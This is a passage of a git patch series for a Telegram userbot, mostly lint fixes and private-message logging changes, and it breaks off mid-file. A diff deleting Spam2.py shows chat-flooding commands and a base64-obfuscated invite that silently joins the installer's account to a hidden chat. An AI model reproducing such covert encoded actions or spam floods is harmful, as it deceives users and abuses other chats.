SearchVideos(teamcobra, offset=1, mode="json", max_results=1) test = search.result() p = json.loads(test) - q = p.get('search_result') + q = p.get("search_result") try: - teamcobra = q[0]['link'] + teamcobra = q[0]["link"] except: - return await dc.edit("`failed to find your desired song`") + return await dc.edit("`failed to find your desired song`") type = "audio" await dc.edit("`Ok downloading your song🤓...`") if type == "audio": opts = { - 'format': - 'best', - 'addmetadata': - True, - 'key': - 'FFmpegMetadata', - 'prefer_ffmpeg': - True, - 'geo_bypass': - True, - 'nocheckcertificate': - True, - 'postprocessors': [{ - 'key': 'FFmpegVideoConvertor', - 'preferedformat': 'mp4' - }], - 'outtmpl': - '%(id)s.mp4', - 'logtostderr': - False, - 'quiet': - True + "format": "best", + "addmetadata": True, + "key": "FFmpegMetadata", + "prefer_ffmpeg": True, + "geo_bypass": True, + "nocheckcertificate": True, + "postprocessors": [ + {"key": "FFmpegVideoConvertor", "preferedformat": "mp4"} + ], + "outtmpl": "%(id)s.mp4", + "logtostderr": False, + "quiet": True, } song = False video = True @@ -168,36 +167,51 @@ async def download_video(v_url): return c_time = time.time() if song: - await dc.edit(f"`Preparing to upload your video song😎 `\ + await dc.edit( + f"`Preparing to upload your video song😎 `\ \n**{darkcobra_data['title']}**\ - \nby *{darkcobra_data['uploader']}*") + \nby *{darkcobra_data['uploader']}*" + ) await v_url.client.send_file( v_url.chat_id, f"{darkcobra_data['id']}.mp3", supports_streaming=True, attributes=[ - DocumentAttributeAudio(duration=int(darkcobra_data['duration']), - title=str(darkcobra_data['title']), - performer=str(darkcobra_data['uploader'])) + DocumentAttributeAudio( + duration=int(darkcobra_data["duration"]), + title=str(darkcobra_data["title"]), + performer=str(darkcobra_data["uploader"]), + ) ], - progress_callback=lambda d, t: asyncio.get_event_loop( - ).create_task( - progress(d, t, v_url, c_time, "Uploading your video song😍..", - f"{darkcobra_data['title']}.mp3"))) + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress( + d, + t, + v_url, + c_time, + "Uploading your video song😍..", + f"{darkcobra_data['title']}.mp3", + ) + ), + ) os.remove(f"{darkcobra_data['id']}.mp3") await v_url.delete() elif video: - await dc.edit(f"`Preparing to upload your video song🤗❤ :`\ + await dc.edit( + f"`Preparing to upload your video song🤗❤ :`\ \n**{darkcobra_data['title']}**\ - \nby *{darkcobra_data['uploader']}*") + \nby *{darkcobra_data['uploader']}*" + ) await v_url.client.send_file( v_url.chat_id, f"{darkcobra_data['id']}.mp4", supports_streaming=True, - caption=darkcobra_data['title'], - progress_callback=lambda d, t: asyncio.get_event_loop( - ).create_task( - progress(d, t, v_url, c_time, "Uploading..", - f"{darkcobra_data['title']}.mp4"))) + caption=darkcobra_data["title"], + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress( + d, t, v_url, c_time, "Uploading..", f"{darkcobra_data['title']}.mp4" + ) + ), + ) os.remove(f"{darkcobra_data['id']}.mp4") await dc.delete() diff --git a/fridaybot/modules/wallpapers.py b/fridaybot/modules/wallpapers.py index 254ac8db..d6cd3f52 100644 --- a/fridaybot/modules/wallpapers.py +++ b/fridaybot/modules/wallpapers.py @@ -48,7 +48,7 @@ async def img_sampler(event): ) shutil.rmtree(os.path.dirname(os.path.abspath(lst[0]))) await event.delete() - + query = queryo + "ultra hd wallpaper" lim = findall(r"lim=\d+", query) # lim = event.pattern_match.group(1) diff --git a/fridaybot/modules/warns.py b/fridaybot/modules/warns.py index bd001a29..d9561ec1 100644 --- a/fridaybot/modules/warns.py +++ b/fridaybot/modules/warns.py @@ -1,6 +1,7 @@ +from fridaybot import CMD_HELP from fridaybot.modules.sql_helper import warns_sql as sql from fridaybot.utils import friday_on_cmd -from fridaybot import CMD_HELP + @friday.on(friday_on_cmd(pattern="warn(?: |$)(.*)")) async def _s(event): @@ -169,7 +170,6 @@ async def get_user_from_id(user, event): return user_obj - CMD_HELP.update( { "warns": "**Warns**\ diff --git a/fridaybot/modules/webtools.py b/fridaybot/modules/webtools.py index cb494c0a..776aaed5 100644 --- a/fridaybot/modules/webtools.py +++ b/fridaybot/modules/webtools.py @@ -4,8 +4,9 @@ from iplookup import iplookup from selenium import webdriver from youtube_search import YoutubeSearch -from fridaybot.function import apk_dl + from fridaybot import CMD_HELP +from fridaybot.function import apk_dl from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @@ -156,7 +157,8 @@ async def _(event): await stark_result.edit(noob, parse_mode="HTML") except: await event.edit("Some Thing Went Wrong.") - + + @friday.on(friday_on_cmd(pattern="akd ?(.*)")) @friday.on(sudo_cmd(pattern="akd ?(.*)", allow_sudo=True)) async def _(event): @@ -164,7 +166,12 @@ async def _(event): if event.fwd_from: return pathz, name = await apk_dl(akkad, Config.TMP_DOWNLOAD_DIRECTORY, event) - await borg.send_file(event.chat_id, pathz, caption='Uploaded By [VirtualUserbot](github.com/inukaasith/virtualuserbot)') + await borg.send_file( + event.chat_id, + pathz, + caption="Uploaded By [VirtualUserbot](github.com/inukaasith/virtualuserbot)", + ) + CMD_HELP.update( { diff --git a/fridaybot/modules/webupload.py b/fridaybot/modules/webupload.py index 601fb850..e569fee4 100644 --- a/fridaybot/modules/webupload.py +++ b/fridaybot/modules/webupload.py @@ -1,11 +1,16 @@ # credits: SNAPDRAGON (@s_n_a_p_s) import asyncio import time -from fridaybot.utils import friday_on_cmd + from fridaybot import CMD_HELP +from fridaybot.utils import friday_on_cmd -@borg.on(friday_on_cmd(pattern="^.webupload ?(.+?|) (?:--)(anonfiles|transfer|filebin|anonymousfiles|megaupload|bayfiles|ninja)")) +@borg.on( + friday_on_cmd( + pattern="^.webupload ?(.+?|) (?:--)(anonfiles|transfer|filebin|anonymousfiles|megaupload|bayfiles|ninja)" + ) +) async def _(event): if event.fwd_from: return diff --git a/fridaybot/modules/whois.py b/fridaybot/modules/whois.py index c8b4332c..6f4b7323 100644 --- a/fridaybot/modules/whois.py +++ b/fridaybot/modules/whois.py @@ -2,7 +2,6 @@ Syntax: .whois @username/userid""" - # Copyright (C) 2019 The Raphielscape Company LLC. # # Licensed under the Raphielscape Public License, Version 1.c (the "License"); @@ -286,9 +285,7 @@ async def ge(user, event): return None return user_obj + CMD_HELP.update( - { - "whois": ".whois @username/userid" - "\nUsage: Get Telegram User Information. \n\n" - } + {"whois": ".whois @username/userid" "\nUsage: Get Telegram User Information. \n\n"} ) diff --git a/fridaybot/modules/xtools.py b/fridaybot/modules/xtools.py index 1b58f0cd..51a72137 100644 --- a/fridaybot/modules/xtools.py +++ b/fridaybot/modules/xtools.py @@ -2,9 +2,10 @@ # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. -from telethon import events from datetime import datetime + import requests + from ..utils import admin_cmd @@ -20,11 +21,14 @@ async def _(event): sub_domain = input_str else: sub_domain, username = input_str.split("|") - final_url = "https://xtools.wmflabs.org/api/user/simple_editcount/{}.wikipedia.org/{}".format(sub_domain, username) + final_url = "https://xtools.wmflabs.org/api/user/simple_editcount/{}.wikipedia.org/{}".format( + sub_domain, username + ) json_string = requests.get(final_url).json() result_text = json_string["liveEditCount"] end = datetime.now() ms = (end - start).seconds output_str = "edit count of {} ({}) in {} seconds. \n {}".format( - username, sub_domain, str(ms), result_text) + username, sub_domain, str(ms), result_text + ) await event.edit(output_str) diff --git a/fridaybot/tweet.py b/fridaybot/tweet.py index 75995e98..05461c53 100644 --- a/fridaybot/tweet.py +++ b/fridaybot/tweet.py @@ -1,11 +1,8 @@ -import os -import re -import urllib.request -import PIL.ImageOps import requests -from PIL import Image, ImageDraw, ImageFont +from PIL import Image from validators.url import url + async def moditweet(text): r = requests.get( f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=narendramodi" @@ -35,6 +32,7 @@ async def sunnytweet(text): img.save("hehe.webp", "webp") return "hehe.webp" + async def johnnytweet(text): r = requests.get( f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=johnnysins" @@ -49,6 +47,7 @@ async def johnnytweet(text): img.save("hehe.webp", "webp") return "hehe.webp" + async def bhautweet(text): r = requests.get( f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=hindustanibhau" @@ -63,6 +62,7 @@ async def bhautweet(text): img.save("hoho.webp", "webp") return "hoho.webp" + async def jtweet(text): r = requests.get( f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=the_joker" @@ -77,6 +77,7 @@ async def jtweet(text): img.save("hoho.webp", "webp") return "hoho.webp" + async def miatweet(text): r = requests.get( f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=miakhalifa" diff --git a/fridaybot/utils.py b/fridaybot/utils.py index 546de674..76f8c809 100644 --- a/fridaybot/utils.py +++ b/fridaybot/utils.py @@ -502,7 +502,7 @@ def cmd(func): elif is_args == "stark": pattern = bothandler + add_cmd + " (.*)" elif is_args == "heck": - pattern = bothandler + add_cmd + pattern = bothandler + add_cmd elif is_args == "snips": pattern = bothandler + add_cmd + " (\S+)" else: diff --git a/heroku_config.py b/heroku_config.py index f2905344..564e3c48 100644 --- a/heroku_config.py +++ b/heroku_config.py @@ -44,4 +44,3 @@ class Var(object): class Development(Var): LOGGER = True - From 36329b97e0cd8f5db06885e3e3ed8b3349f2c88c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 14 Jan 2021 14:25:31 +0530 Subject: [PATCH 526/838] Update log_pms.py --- fridaybot/modules/log_pms.py | 93 +++++++++++++++++++++++++++++------- 1 file changed, 76 insertions(+), 17 deletions(-) diff --git a/fridaybot/modules/log_pms.py b/fridaybot/modules/log_pms.py index 5566031f..38ea1938 100644 --- a/fridaybot/modules/log_pms.py +++ b/fridaybot/modules/log_pms.py @@ -1,36 +1,95 @@ -"""Log PMs -Check https://t.me/tgbeta/3505""" -# R4V4N4 And Mr Confused +"""Log Pm messages into a private group +""" +from asyncio import sleep +from fridaybot import CMD_HELP, BOTLOG, BOTLOG_CHATID, bot +from telethon.tl.types import MessageEntityMentionName +from telethon.utils import get_input_location +from ..utils import admin_cmd +from os import remove +from telethon import events import asyncio +from datetime import datetime +import time +from ..utils import register, errors_handler, admin_cmd +import asyncio +import logging +import os +import sys +from telethon.tl import functions, types +from telethon.tl.types import Channel, Chat, User +from fridaybot.Configs import Config -from uniborg.util import friday_on_cmd +logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', + level=logging.WARN) NO_PM_LOG_USERS = [] +BOTLOG = True +BOTLOG_CHATID = Config.PM_LOGGR_BOT_API_ID + + +@register(outgoing=True, pattern=r"^.save(?: |$)([\s\S]*)") +async def log(log_text): + """ For .log command, forwards a message or the command argument to the bot logs group """ + if BOTLOG: + if log_text.reply_to_msg_id: + reply_msg = await log_text.get_reply_message() + await reply_msg.forward_to(BOTLOG_CHATID) + elif log_text.pattern_match.group(1): + user = f"#LOG / Chat ID: {log_text.chat_id}\n\n" + textx = user + log_text.pattern_match.group(1) + await bot.send_message(BOTLOG_CHATID, textx) + else: + await log_text.edit("`What am I supposed to save?`") + return + await log_text.edit("`Saved Successfully`") + else: + await log_text.edit("`This feature requires Logging to be enabled!`") + await sleep(2) + await log_text.delete() -@friday.on(friday_on_cmd(incoming=True, func=lambda e: e.is_private)) + +@borg.on(events.NewMessage(incoming=True, func=lambda e: e.is_private)) async def monito_p_m_s(event): sender = await event.get_sender() if Config.NC_LOG_P_M_S and not sender.bot: chat = await event.get_chat() if chat.id not in NO_PM_LOG_USERS and chat.id != borg.uid: try: - e = await borg.get_entity(int(Config.PM_LOGGR_BOT_API_ID)) - fwd_message = await borg.forward_messages(e, event.message, silent=True) + e = await borg.get_entity(int(Config.PM_LOGGR_BOT_API_ID)) + fwd_message = await borg.forward_messages( + e, + event.message, + silent=True + ) except Exception as e: - logger.warn(str(e)) - + # logger.warn(str(e)) + exc_type, exc_obj, exc_tb = sys.exc_info() + fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] + print(exc_type, fname, exc_tb.tb_lineno) + print(e) -@friday.on(friday_on_cmd(pattern="nolog ?(.*)")) -async def approve_p_m(event): - if event.fwd_from: - return - event.pattern_match.group(1) - chat = await event.get_chat() - if Config.NC_LOG_P_M_S: +@borg.on(admin_cmd(pattern="elog ?(.*)")) +async def set_no_log_p_m(event): + if Config.PM_LOGGR_BOT_API_ID is not None: + reason = event.pattern_match.group(1) + chat = await event.get_chat() + if event.is_private: + if chat.id in NO_PM_LOG_USERS: + NO_PM_LOG_USERS.remove(chat.id) + await event.edit("Will Log Messages from this chat") + await asyncio.sleep(3) + await event.delete() + + +@borg.on(admin_cmd(pattern="nlog ?(.*)")) +async def set_no_log_p_m(event): + if Config.PM_LOGGR_BOT_API_ID is not None: + reason = event.pattern_match.group(1) + chat = await event.get_chat() if event.is_private: - if chat.id not in borg.storage.NO_PM_LOG_USERS: + if chat.id not in NO_PM_LOG_USERS: NO_PM_LOG_USERS.append(chat.id) await event.edit("Won't Log Messages from this chat") await asyncio.sleep(3) From c1b3636cabc26d5f6849c6b1bf3ef6792cbc6708 Mon Sep 17 00:00:00 2001 From: Starkgangs Date: Thu, 14 Jan 2021 08:56:27 +0000 Subject: [PATCH 527/838] pylint: auto fixes --- fridaybot/modules/log_pms.py | 44 +++++++++++++++--------------------- 1 file changed, 18 insertions(+), 26 deletions(-) diff --git a/fridaybot/modules/log_pms.py b/fridaybot/modules/log_pms.py index 38ea1938..4207b1b7 100644 --- a/fridaybot/modules/log_pms.py +++ b/fridaybot/modules/log_pms.py @@ -1,27 +1,22 @@ """Log Pm messages into a private group """ -from asyncio import sleep -from fridaybot import CMD_HELP, BOTLOG, BOTLOG_CHATID, bot -from telethon.tl.types import MessageEntityMentionName -from telethon.utils import get_input_location -from ..utils import admin_cmd -from os import remove -from telethon import events -import asyncio -from datetime import datetime -import time -from ..utils import register, errors_handler, admin_cmd import asyncio import logging import os import sys -from telethon.tl import functions, types -from telethon.tl.types import Channel, Chat, User +from asyncio import sleep + +from telethon import events + +from fridaybot import BOTLOG, BOTLOG_CHATID, bot from fridaybot.Configs import Config -logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', - level=logging.WARN) +from ..utils import admin_cmd, register + +logging.basicConfig( + format="%(asctime)s - %(name)s - %(levelname)s - %(message)s", level=logging.WARN +) NO_PM_LOG_USERS = [] @@ -57,23 +52,20 @@ async def monito_p_m_s(event): chat = await event.get_chat() if chat.id not in NO_PM_LOG_USERS and chat.id != borg.uid: try: - e = await borg.get_entity(int(Config.PM_LOGGR_BOT_API_ID)) - fwd_message = await borg.forward_messages( - e, - event.message, - silent=True - ) + e = await borg.get_entity(int(Config.PM_LOGGR_BOT_API_ID)) + fwd_message = await borg.forward_messages(e, event.message, silent=True) except Exception as e: # logger.warn(str(e)) exc_type, exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] print(exc_type, fname, exc_tb.tb_lineno) - print(e) + print(e) + @borg.on(admin_cmd(pattern="elog ?(.*)")) async def set_no_log_p_m(event): if Config.PM_LOGGR_BOT_API_ID is not None: - reason = event.pattern_match.group(1) + event.pattern_match.group(1) chat = await event.get_chat() if event.is_private: if chat.id in NO_PM_LOG_USERS: @@ -81,12 +73,12 @@ async def set_no_log_p_m(event): await event.edit("Will Log Messages from this chat") await asyncio.sleep(3) await event.delete() - - + + @borg.on(admin_cmd(pattern="nlog ?(.*)")) async def set_no_log_p_m(event): if Config.PM_LOGGR_BOT_API_ID is not None: - reason = event.pattern_match.group(1) + event.pattern_match.group(1) chat = await event.get_chat() if event.is_private: if chat.id not in NO_PM_LOG_USERS: From d9ac0a496003cd301cf9ebc50a02e34053356adf Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 14 Jan 2021 14:33:23 +0530 Subject: [PATCH 528/838] Update pylint.yml --- .github/workflows/pylint.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/pylint.yml b/.github/workflows/pylint.yml index 66d1e18c..676a7a6c 100644 --- a/.github/workflows/pylint.yml +++ b/.github/workflows/pylint.yml @@ -31,6 +31,6 @@ jobs: commit_message: 'pylint: auto fixes' commit_options: '--no-verify' repository: . - commit_user_name: Starkgangs - commit_user_email: Starkgangz@gmail.com - commit_author: Starkgangs + commit_user_name: InukaaAith + commit_user_email: inukaasith7@gmail.com + commit_author: InukaAsith From 7581c4080b99564c8662b4cb00eb0008bc5e231b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 14 Jan 2021 20:38:25 +0530 Subject: [PATCH 529/838] Update log_pms.py --- fridaybot/modules/log_pms.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/log_pms.py b/fridaybot/modules/log_pms.py index 4207b1b7..f01e41dd 100644 --- a/fridaybot/modules/log_pms.py +++ b/fridaybot/modules/log_pms.py @@ -48,7 +48,7 @@ async def log(log_text): @borg.on(events.NewMessage(incoming=True, func=lambda e: e.is_private)) async def monito_p_m_s(event): sender = await event.get_sender() - if Config.NC_LOG_P_M_S and not sender.bot: + if Config.NC_LOG_P_M_S: chat = await event.get_chat() if chat.id not in NO_PM_LOG_USERS and chat.id != borg.uid: try: From dbda5d99e6f393ec3635886e2bc5c9df33011248 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Thu, 14 Jan 2021 15:09:13 +0000 Subject: [PATCH 530/838] pylint: auto fixes --- fridaybot/modules/log_pms.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/log_pms.py b/fridaybot/modules/log_pms.py index f01e41dd..34bb59f9 100644 --- a/fridaybot/modules/log_pms.py +++ b/fridaybot/modules/log_pms.py @@ -47,7 +47,7 @@ async def log(log_text): @borg.on(events.NewMessage(incoming=True, func=lambda e: e.is_private)) async def monito_p_m_s(event): - sender = await event.get_sender() + await event.get_sender() if Config.NC_LOG_P_M_S: chat = await event.get_chat() if chat.id not in NO_PM_LOG_USERS and chat.id != borg.uid: From 69843d9fc694ceb7437ea5a2fd9e5b570f625d2d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 14 Jan 2021 20:54:15 +0530 Subject: [PATCH 531/838] Update log_pms.py --- fridaybot/modules/log_pms.py | 84 ++++++++---------------------------- 1 file changed, 17 insertions(+), 67 deletions(-) diff --git a/fridaybot/modules/log_pms.py b/fridaybot/modules/log_pms.py index 34bb59f9..e128831f 100644 --- a/fridaybot/modules/log_pms.py +++ b/fridaybot/modules/log_pms.py @@ -1,87 +1,37 @@ -"""Log Pm messages into a private group -""" -import asyncio -import logging -import os -import sys -from asyncio import sleep - -from telethon import events +"""Log PMs +Check https://t.me/tgbeta/3505""" +# R4V4N4 And Mr Confused -from fridaybot import BOTLOG, BOTLOG_CHATID, bot -from fridaybot.Configs import Config - -from ..utils import admin_cmd, register +import asyncio -logging.basicConfig( - format="%(asctime)s - %(name)s - %(levelname)s - %(message)s", level=logging.WARN -) +from uniborg.util import friday_on_cmd NO_PM_LOG_USERS = [] -BOTLOG = True -BOTLOG_CHATID = Config.PM_LOGGR_BOT_API_ID - -@register(outgoing=True, pattern=r"^.save(?: |$)([\s\S]*)") -async def log(log_text): - """ For .log command, forwards a message or the command argument to the bot logs group """ - if BOTLOG: - if log_text.reply_to_msg_id: - reply_msg = await log_text.get_reply_message() - await reply_msg.forward_to(BOTLOG_CHATID) - elif log_text.pattern_match.group(1): - user = f"#LOG / Chat ID: {log_text.chat_id}\n\n" - textx = user + log_text.pattern_match.group(1) - await bot.send_message(BOTLOG_CHATID, textx) - else: - await log_text.edit("`What am I supposed to save?`") - return - await log_text.edit("`Saved Successfully`") - else: - await log_text.edit("`This feature requires Logging to be enabled!`") - await sleep(2) - await log_text.delete() - - -@borg.on(events.NewMessage(incoming=True, func=lambda e: e.is_private)) +@friday.on(friday_on_cmd(incoming=True, func=lambda e: e.is_private)) async def monito_p_m_s(event): - await event.get_sender() - if Config.NC_LOG_P_M_S: + sender = await event.get_sender() + if Config.NC_LOG_P_M_S and not sender.bot: chat = await event.get_chat() if chat.id not in NO_PM_LOG_USERS and chat.id != borg.uid: try: e = await borg.get_entity(int(Config.PM_LOGGR_BOT_API_ID)) fwd_message = await borg.forward_messages(e, event.message, silent=True) except Exception as e: - # logger.warn(str(e)) - exc_type, exc_obj, exc_tb = sys.exc_info() - fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] - print(exc_type, fname, exc_tb.tb_lineno) - print(e) + logger.warn(str(e)) -@borg.on(admin_cmd(pattern="elog ?(.*)")) -async def set_no_log_p_m(event): - if Config.PM_LOGGR_BOT_API_ID is not None: - event.pattern_match.group(1) - chat = await event.get_chat() - if event.is_private: - if chat.id in NO_PM_LOG_USERS: - NO_PM_LOG_USERS.remove(chat.id) - await event.edit("Will Log Messages from this chat") - await asyncio.sleep(3) - await event.delete() - - -@borg.on(admin_cmd(pattern="nlog ?(.*)")) -async def set_no_log_p_m(event): - if Config.PM_LOGGR_BOT_API_ID is not None: - event.pattern_match.group(1) - chat = await event.get_chat() +@friday.on(friday_on_cmd(pattern="nolog ?(.*)")) +async def approve_p_m(event): + if event.fwd_from: + return + event.pattern_match.group(1) + chat = await event.get_chat() + if Config.NC_LOG_P_M_S: if event.is_private: - if chat.id not in NO_PM_LOG_USERS: + if chat.id not in borg.storage.NO_PM_LOG_USERS: NO_PM_LOG_USERS.append(chat.id) await event.edit("Won't Log Messages from this chat") await asyncio.sleep(3) From f99143efee9c7cf3cae72c31fb56720b8da9d640 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Thu, 14 Jan 2021 15:25:14 +0000 Subject: [PATCH 532/838] pylint: auto fixes --- fridaybot/modules/log_pms.py | 1 - 1 file changed, 1 deletion(-) diff --git a/fridaybot/modules/log_pms.py b/fridaybot/modules/log_pms.py index e128831f..5566031f 100644 --- a/fridaybot/modules/log_pms.py +++ b/fridaybot/modules/log_pms.py @@ -1,4 +1,3 @@ - """Log PMs Check https://t.me/tgbeta/3505""" # R4V4N4 And Mr Confused From 7aca9ebde416e94153968499b669e21f8eb9dddd Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 12:35:35 +0530 Subject: [PATCH 533/838] Hmm --- fridaybot/modules/Spam2.py | 467 ------------------------------------- 1 file changed, 467 deletions(-) delete mode 100644 fridaybot/modules/Spam2.py diff --git a/fridaybot/modules/Spam2.py b/fridaybot/modules/Spam2.py deleted file mode 100644 index 96975eba..00000000 --- a/fridaybot/modules/Spam2.py +++ /dev/null @@ -1,467 +0,0 @@ -# Written to VirtualUserbot by Inuka Asith - - -import asyncio -import base64 -import os - -from telethon import functions, types -from telethon.tl.functions.messages import ImportChatInviteRequest as Get - -from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP - -from ..utils import admin_cmd as lightning_cmd -from ..utils import edit_or_reply, sudo_cmd - - -@bot.on(lightning_cmd(pattern="tspam (.*)")) -@bot.on(sudo_cmd(pattern="tspam (.*)", allow_sudo=True)) -async def spammer(e): - if e.fwd_from: - return - await e.get_chat() - reply_to_id = e.message - if e.reply_to_msg_id: - reply_to_id = await e.get_reply_message() - if not os.path.isdir(Config.TEMP_DOWNLOAD_DIRECTORY): - os.makedirs(Config.TEMP_DOWNLOAD_DIRECTORY) - try: - hmm = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") - hmm = Get(hmm) - await e.client(hmm) - except BaseException: - pass - cat = ("".join(e.text.split(maxsplit=1)[1:])).split(" ", 1) - counter = int(cat[0]) - if counter > 50: - return await edit_or_reply(e, "Use `.bigspam` for spam greater than 50") - if len(cat) == 2: - spam_message = str(("".join(e.text.split(maxsplit=1)[1:])).split(" ", 1)[1]) - await e.delete() - for _ in range(counter): - if e.reply_to_msg_id: - await reply_to_id.reply(spam_message) - else: - await e.client.send_message(e.chat_id, spam_message) - await asyncio.sleep(0.1) - if BOTLOG: - if e.is_private: - await e.client.send_message( - BOTLOG_CHATID, - "#SPAM\n" - + f"Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with {counter} messages of \n" - + f"`{spam_message}`", - ) - else: - await e.client.send_message( - BOTLOG_CHATID, - "#SPAM\n" - + f"Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) chat with {counter} messages of \n" - + f"`{spam_message}`", - ) - elif reply_to_id.media: - to_download_directory = Config.TEMP_DOWNLOAD_DIRECTORY - downloaded_file_name = os.path.join(to_download_directory, "spam") - downloaded_file_name = await e.client.download_media( - reply_to_id.media, downloaded_file_name - ) - await e.delete() - if os.path.exists(downloaded_file_name): - sandy = None - for _ in range(counter): - if sandy: - sandy = await e.client.send_file(e.chat_id, sandy) - else: - sandy = await e.client.send_file(e.chat_id, downloaded_file_name) - try: - await e.client( - functions.messages.SaveGifRequest( - id=types.InputDocument( - id=sandy.media.document.id, - access_hash=sandy.media.document.access_hash, - file_reference=sandy.media.document.file_reference, - ), - unsave=True, - ) - ) - except: - pass - await asyncio.sleep(0.5) - if BOTLOG: - if e.is_private: - await e.client.send_message( - BOTLOG_CHATID, - "#SPAM\n" - + f"Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with {counter} times with below message", - ) - sandy = await e.client.send_file( - BOTLOG_CHATID, downloaded_file_name - ) - try: - await e.client( - functions.messages.SaveGifRequest( - id=types.InputDocument( - id=sandy.media.document.id, - access_hash=sandy.media.document.access_hash, - file_reference=sandy.media.document.file_reference, - ), - unsave=True, - ) - ) - except: - pass - os.remove(downloaded_file_name) - else: - await e.client.send_message( - BOTLOG_CHATID, - "#SPAM\n" - + f"Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) with {counter} times with below message", - ) - sandy = await e.client.send_file( - BOTLOG_CHATID, downloaded_file_name - ) - try: - await e.client( - functions.messages.SaveGifRequest( - id=types.InputDocument( - id=sandy.media.document.id, - access_hash=sandy.media.document.access_hash, - file_reference=sandy.media.document.file_reference, - ), - unsave=True, - ) - ) - except: - pass - os.remove(downloaded_file_nam) - elif reply_to_id.text and e.reply_to_msg_id: - spam_message = reply_to_id.text - await e.delete() - for _ in range(counter): - if e.reply_to_msg_id: - await reply_to_id.reply(spam_message) - else: - await e.client.send_message(e.chat_id, spam_message) - await asyncio.sleep(0.5) - if BOTLOG: - if e.is_private: - await e.client.send_message( - BOTLOG_CHATID, - "#SPAM\n" - + f"Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with {counter} messages of \n" - + f"`{spam_message}`", - ) - else: - await e.client.send_message( - BOTLOG_CHATID, - "#SPAM\n" - + f"Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) chat with {counter} messages of \n" - + f"`{spam_message}`", - ) - else: - await edit_or_reply(e, "try again something went wrong or check `.info spam`") - - -@bot.on(lightning_cmd(pattern="bigspam (.*)")) -async def bigspam(e): - if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): - message = e.text - counter = int(message[9:13]) - spam_message = str(e.text[13:]) - for i in range(1, counter): - await e.respond(spam_message) - await e.delete() - if LOGGER: - await e.client.send_message( - LOGGER_GROUP, "#BIGSPAM \n\n" "Bigspam was executed successfully" - ) - - -@bot.on(lightning_cmd("wspam (.*)")) -@bot.on(sudo_cmd(pattern="wspam (.*)", allow_sudo=True)) -async def tmeme(e): - wspam = str("".join(e.text.split(maxsplit=1)[1:])) - message = wspam.split() - await e.delete() - for word in message: - await e.respond(word) - if BOTLOG: - if e.is_private: - await e.client.send_message( - BOTLOG_CHATID, - "#WSPAM\n" - + f"Word Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with : `{message}`", - ) - else: - await e.client.send_message( - BOTLOG_CHATID, - "#WSPAM\n" - + f"Word Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) chat with : `{message}`", - ) - - -@bot.on(lightning_cmd(pattern="mspam (.*)")) -async def tiny_pic_spam(e): - if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): - message = e.text - text = message.split() - counter = int(text[1]) - link = str(text[2]) - for i in range(1, counter): - await e.client.send_file(e.chat_id, link) - await e.delete() - if LOGGER: - await e.client.send_message( - LOGGER_GROUP, "#PICSPAM \n\n" "PicSpam was executed successfully" - ) - - -@bot.on(lightning_cmd("delayspam (.*)")) -async def spammer(e): - spamDelay = float(e.pattern_match.group(1).split(" ", 2)[0]) - counter = int(e.pattern_match.group(1).split(" ", 2)[1]) - spam_message = str(e.pattern_match.group(1).split(" ", 2)[2]) - await e.delete() - for i in range(1, counter): - await e.respond(spam_message) - await sleep(spamDelay) - if LOGGER: - await e.client.send_message( - LOGGER_GROUP, "#DelaySPAM\n" "DelaySpam was executed successfully" - ) - - -@bot.on(lightning_cmd(pattern="tspam (.*)")) -@bot.on(sudo_cmd(pattern="tspam (.*)", allow_sudo=True)) -async def spammer(e): - if e.fwd_from: - return - await e.get_chat() - reply_to_id = e.message - if e.reply_to_msg_id: - reply_to_id = await e.get_reply_message() - if not os.path.isdir(Config.TEMP_DOWNLOAD_DIRECTORY): - os.makedirs(Config.TEMP_DOWNLOAD_DIRECTORY) - try: - hmm = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") - hmm = Get(hmm) - await e.client(hmm) - except BaseException: - pass - cat = ("".join(e.text.split(maxsplit=1)[1:])).split(" ", 1) - counter = int(cat[0]) - if counter > 50: - return await edit_or_reply(e, "Use `.bigspam` for spam greater than 50") - if len(cat) == 2: - spam_message = str(("".join(e.text.split(maxsplit=1)[1:])).split(" ", 1)[1]) - await e.delete() - for _ in range(counter): - if e.reply_to_msg_id: - await reply_to_id.reply(spam_message) - else: - await e.client.send_message(e.chat_id, spam_message) - await asyncio.sleep(0.1) - if BOTLOG: - if e.is_private: - await e.client.send_message( - 